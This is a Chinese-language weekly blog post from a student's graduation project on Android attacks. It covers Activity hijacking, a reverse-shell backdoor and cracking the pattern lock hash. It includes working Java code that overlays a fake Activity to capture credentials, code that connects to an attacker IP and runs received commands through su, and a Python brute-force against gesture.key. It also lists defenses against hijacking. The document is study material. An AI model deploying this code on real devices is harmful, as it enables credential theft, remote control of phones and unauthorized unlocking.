20165320 第五周 毕业设计总结

20165320 毕业设计 第五周总结

任务及完成情况

周一 周二 周三 周四 周五 周六 周天
Android系统安全机制学习|
Activity劫持原理的学习|
Activity劫持实现 |
反向Shell后门原理学习|
编写一个简单的后门Shell|
破解Android系统中的图案锁|
撰写总结博客|
已完成|
已完成|
已完成 |
已完成|
已完成 |
已完成 |
已完成 |

内容总结

二、Activity劫持原理

1、简介
  • Activity组件是Android四大组件中与用户交互最频繁的组件,作为Android应用的显示载体,其存在的安全隐患是最值得注意的,Activity劫持攻击就是这一组件存在的安全风险。

  • Activity劫持是基于Activity所在任务及返回栈相关属性进行劫持的一种手段.通过一定的属性设计,可以实现Activity在不同任务之间的转移及覆盖等行为。

  • 在进行安卓APP开发过程中,如果在启动一个Activity时,给他加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使他置于栈顶并立马呈现给用户。在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity,如果用户在虚假的Activity中输入了用户名密码等个人信息,就可能被窃取。

2、常见攻击手段
  • 监听系统Logocat日志,一旦监听到发生Activity界面切换行为,即进行攻击,覆盖上假冒Activity界面实施欺骗。
  • 监听系统API,一旦恶意程序监听到相关界面的API组件调用,即可发起攻击。
  • 5.0以下机型枚举获取栈顶Activity,监控到目标Activity出现,即可发起攻击。
  • 恶意启动Service监听目标应用,在切换到目标Activity时,弹出对话框劫持当前界面迷惑用户。
3、代码实现
  • 具体实现采用的攻击手段为恶意启动Service监听目标应用,在切换到目标Activity时,弹出对话框劫持当前界面迷惑用户。核心代码如下:

          //我们新建一个Runnable对象,每隔200ms进行一次搜索
      Runnable searchTarget = new Runnable() {
          @Override
          public void run() {
              //得到ActivityManager
              ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
              //通过ActivityManager将当前正在运行的进程存入processInfo中
              List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
              
              //遍历processInfo中的进程信息,看是否有我们的目标
              for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
                  //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持
                  if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
                      if (targetMap.containsKey(_processInfo.processName)) {
                          // 调用hijack方法进行劫持
                          hijack(_processInfo.processName);
                      } 
                  }
              }
              handler.postDelayed(searchTarget, 200);
          }
      };
    
      //进行Activity劫持的函数
      private  void hijack(String processName) {
          //这里判断我们的目标程序是否已经被劫持过了
          if (((EvilApplication) getApplication())
                  .hasProgressBeHijacked(processName) == false) {
              
              Intent intent = new Intent(getBaseContext(),
                      targetMap.get(processName));
              //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶
              intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
              //启动我们伪造的Activity
              getApplication().startActivity(intent);
              //将目标程序加入到已劫持列表中
              ((EvilApplication) getApplication()).addHijacked(processName);
              
          }
      }
      @Override
      public void onStart(Intent intent, int startId) {
          super.onStart(intent, startId);
          if (!isStart) {
              //将我们的目标加入targetMap中
              //这里,key为我们的目标进程,value为我们伪造的Activity
              targetMap.put("com.droider.crackme0201",
                      FakeMainActivity.class);
              //启动searchTarget
              handler.postDelayed(searchTarget, 1000);
              isStart = true;
          }
      }
    
  • 运行效果如下:

4、防护措施
  • 针对用户:Android手机均有一个HOME键,长按可以查看到近期任务。用户在要输入密码进行登录时,可以通过长按HOME键查看近期任务。但是在针对设置Android:excludeFromRecents的值为true的ACtivity时,程序在运行时就不会显示在最近运行过的程序列表中,这种检测方式也就没有效果了。

  • 针对开发人员:

    • 在登录窗口或者用户隐私输入等关键Activity的onPause方法中检测最前端Activity应用是不是自身或者是系统应用,如果发现恶意风险,则给用户一些警示信息,提示用户其登陆界面以被覆盖,并给出覆盖正常Activity的类名。
    • 在 Acitivity 的 onStop 方法中 调用封装的 AntiHijackingUtil 类(检测系统程序白名单)检测程序是否被系统程序覆盖。
    • 在前面建立的正常Activity的登陆界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,判断程序进入后台是否是用户自身造成的(触摸返回键或 HOME 键)这样一来,当其被覆盖时,就能够弹出警示信息。

三、Android后门shell

1、简介
  • 计算机病毒非常流行,随着智能手机的发展,能够感染智能手机的移动恶意软件也在增加,Android系统具有开放性,一些敏感的AIP对于开发人员也是开放的。

  • 恶意软件的一些行为特征:

    • 窃取个人信息,并发送到攻击者的服务器上。
    • root设备。
    • 使攻击者获得远程控制权限。
    • 未经用户允许安装应用。
2、Socket原理

3、实现一个简单的Android端反向Shell
  • 之前大三的时候,娄老师曾经教过我们关于Socket套接字的使用,然后利用网络对抗课程中刘老师提供给我们的nc程序,通过Socket编写一个简单的反向shell木马,实现过程如下:

  • 首先为了避免在主线程执行网络任务,创建一个线程,因为当应用在主线程执行网络任务时,可能会导致应用崩溃。从Android4.4开始,会抛出运行异常。

          Thread thread = new Thread(){
          @Override
          public void run(){
              //线程逻辑
          }
      }
    
  • 声明攻击者服务器的IP和端口号,建立Socket连接。

      String SERVERIP = "192.168.1.7";   //根据实际情况修改IP
    int PORT = 1337; //端口号
      try {
                  InetAddress HOST = InetAddress.getByName(SERVERIP);
                  Socket socket = new Socket(HOST,PORT);
                  // 建立连接
                  ·······
      }
    
  • 实例化PrintWriter和BufferedReader对象。out对象用于将指令的输出结果发送给攻击者,in对象用于接收攻击者的命令.

      PrintWriter out;
    BufferedReader in;
    out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true);
    in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
    
  • 使用InputStreamReader对象读取字符串输入,即攻击者输入的Shell指令。

  • Java中的exec()方法用于运行系统指令,Command用于存储攻击者指令的字符串变量,指令通过Android设备上的/system/bin/sh二进制文件执行。

      Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/su", "-c", command});
    
  • 使用output对象来存放执行攻击命令后得到的系统输出。

      int read;
    char[] buffer = new char[4096];
    StringBuffer output = new StringBuffer();
    while ((read = reader.read(buffer)) > 0) {
    output.append(buffer,0, read);
    }
    
  • 将output对象转换成一个格式化的字符串。

      String commandoutput = output.toString();
    
  • 向攻击者Shell写入输出数据。

      if(out != null && !out.checkError()){
              out.println(commandoutput);
              out.flush();
          }
      }
    
  • 运行时首先打开nc程序的监听:

  • 模拟器中打开APP运行,获得一个shell连接,输入命令执行:

4、总结
  • 通过Socket可以获得一个Android设备上的反向shell,但是shell的权限与应用程序的权限一样,如果设备没有root,能够获得的信息将非常有限,体现了Android的沙箱保护机制。

四、Android图案锁的破解

1、简介
  • Android目前支持的锁屏密码主要有两种,一种是手势密码,也就是常见的九宫格,一种是输入密码,分为PIN密码和复杂字符密码,这里以手势密码为例。

  • Android系统中的手势图案锁由九个点构成,设定图案需满足三个要求:

    • 至少四个点
    • 最多九个点
    • 无重复点
  • 每一个点都对应一个字节的数据:

  • 设定图案顺序后,按照图案对应的数据转换成字节数组进行排列,然后使用SHA-1算法计算哈希值,存储在设备的/data/system/gesture.key文件中,利用上一小节生成的shell程序可以查看到该文件的内容:

2、破解思路
  • 穷举所有的数字串,生成至少四个数据点作为原数据,使用SHA-1算法生成哈希值,与gesture.key文件进行比对。核心代码如下:

      for i in range(0,9):
      str_temp='0'+str(i)
      matrix.append(str_temp)
      min_num=4
      max_num=len(matrix)   //  将00~08的字符进行排列,至少取4个数排列
      
      for num in range(min_num,max_num+1):
          iter1 = itertools.permutations(matrix,num)   //从9个数据中挑n个排列
          
          list_m=[]
          list_m.append(list(iter1))
          for el in list_m[0]:      // 遍历
                  strlist = ''.join(el)
                  strlist_sha1 = hashlib.sha1(bytes.fromhex(strlist)).hexdigest()   //对字符串进行SHA-1加密
                  if pswd_hex == strlist_sha1 :   //比对SHA-1值
                      print('解锁密码为:',strlist)
    
3、运行结果如下:

待解决的问题&下周的计划

问题:

  • 这一周开始Android应用安全方面的学习,但是对于整个课题还是存在很大的疑惑,最后能实现针对一个APP的攻击,然后实现防护方案,那么我就朝着这个最后的目标走吧。

下周的计划

  • 实现基于Android的应用攻击,主要包括静态恶意代码注入,动态调试Smail代码,Hook。

  • 记录学习过程,汇总相关知识。

posted @ 2020-04-04 09:51  Gst丶Paul  阅读(162)  评论(0编辑  收藏  举报